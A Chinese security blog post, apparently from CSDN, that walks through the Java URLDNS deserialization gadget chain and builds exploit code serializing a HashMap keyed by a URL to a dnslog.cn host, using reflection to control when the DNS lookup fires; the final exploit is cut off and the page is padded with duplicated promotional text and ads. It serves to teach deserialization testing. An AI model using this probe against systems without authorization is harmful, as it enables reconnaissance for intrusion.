2024年最新Java安全 URLDNS链分析(2),2024年最新程序员如何技术划水

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以点击这里获取


经分析,只要我们的key对象,也就是传入map的键不为空,就会执行`h = key.hashCode()`,也就是执行**key对象里的**`hashCode()方法`


### URL类分析


这里接上文,假设我们传入**map中的key为URL对象**,那么便调用**URL类中的hashCode()方法**,我们看下这个方法的代码



public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

这里看到,只要 `hashCode = -1`的话,那么便会执行`handler.hashCode(this);`,我们去看下 `hashcode 属性`是怎么定义的



private int hashCode = -1;


我们发现 `hashcode` 的**初始值**为 -1,也就是默认执行`handler.hashCode(this);`,我们再去看看 handler 是怎么定义的,代表了什么,通过下面可得:**handler属性代表了URLStreamHandler类的临时对象**



transient URLStreamHandler handler;
//这个URL传输实现类是一个transient临时类型,不会被反序列化


经分析,也就是把这一整个URL对象作为参数,传入了**URLStreamHandler类的hashCode方法**



> 
> this代表的是当前对象的指针,也可以用 this.name 的方式调用当前对象中的成员
> 
> 
> 


那我们去`URLStreamHandler类`当中,查看下`hashCode方法`的代码



protected int hashCode(URL u) {
int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}

我们看到 `hashcode 方法`接收一个URL类型的参数,然后对接收的 URL对象,也就是前面的key执行`InetAddress addr = getHostAddress(u);`,**并会把求出的 hash值 返回给 URL对象中的hashCode属性**(这里记住,下面有用到)



> 
> getHostAddress函数会对URL对象代表的链接进行DNS解析,获取其ip地址,我们使用 DNSLog 平台可以检测到该函数的访问
> 
> 
> 


## exp编写


### 思路整理


根据上面的链路分析,我们首先需要创建一个指向**DNSLog平台链接**的**URL对象**,然后作为**键**传入**HashMap数组**,最后将该数组进行序列化,然后反序列化**调用其readObject方法**,将**URL对象**赋值给**key**,然后使用**hash方法处理URL对象**,再**调用URL对象的hashcode方法**,然后以**URL对象为参数**,传入**URLStreamHandler类的hashCode方法**,对**URL对象**指向的链接进行**访问**


### 初步exp


现在的exp大体如下



import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL(“http://j0obud.dnslog.cn/”);//这里替换为DNSLog平台分配的地址
map.put(url,“114”);//键值用不到,随便设置
try {
FileOutputStream outputStream = new FileOutputStream(“./2.ser”);
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
FileInputStream inputStream = new FileInputStream(“./2.ser”);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}


我们在第13行打个断点,也就是`try`的这一行  
 ![image-20240212212811603](https://img-blog.csdnimg.cn/img_convert/ff8b27620aaa0698c419963cba582257.png)


然后运行代码,发现未经序列化与反序列化仍然能对url进行DNS解析  
 ![image-20240212212811603](https://img-blog.csdnimg.cn/img_convert/806544cacaf26b84d75cc499b282fe50.png)  
 正是下面这一行代码导致了url的提前解析



map.put(url,“114”);//键值用不到,随便设置


我们去看下**map(HashMap类)的put方法**,代码如下



public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

我们发现,这个`put方法`和`readObject方法`触发的**语句完全一样**,同样会对URL对象执行HashMap类中的hash方法,然后就和上文所述的过程相同,最总到达hashCode方法,对URL对象解析



return putVal(hash(key), key, value, false, true);


下面是这两个方法的语句对比可以看到是一模一样的


**put方法:**  
 ![image-20240212213743511](https://img-blog.csdnimg.cn/img_convert/b05708ca194358bbcbdd3c123ec8f154.png)  
 **readObject方法:**


![image-20240212213743511](https://img-blog.csdnimg.cn/img_convert/98f2d404e709fe5be0d41c9c7d68da71.png)
**需要注意的是假如提前触发的话,反序列化的时候便不会再进行DNS解析**


我们再次回到URL类中的hashCode方法,并看一下其hashCode属性的定义



private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

可以看到只有当 `hashCode = -1`时,才会执行`hashCode = handler.hashCode(this);`,从而到下一步DNS解析,然后 hashCode属性被赋值为这个URL解析的哈希值,从而为一个很长的正数,从而不为 -1,然后序列化的时候这个`hashCode属性`值保持不变,当反序列化到hashCode方法时,以为 `hashCode != -1` 直接进入`if`,执行`return hashCode;`,最终到这里就断掉了,无法触发DNS解析


### exp改进


那怎么办呢?


我们可以先在put时,将 hashCode 值通过反射修改为任意一个不为 -1 的数字,从而不会提前触发DNS解析,然后在put完成后,我们再通过反射将 hashCode值设为 -1,示例如下



field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,“2333”); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashCode(this);



> 
> 通过反射我们可以动态修改一个对象中的属性和方法
> 
> 
> 


### 最终exp



package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL(“http://mm4dhq.dnslog.cn/”);//这里替换为DNSLog平台分配的地址
Class clas = url.getClass();
Field field = clas.getDeclaredField(“hashCode”);
field.setAccessible(true);

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

我们的辉煌篇章。**

需要完整版PDF学习资源私我

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值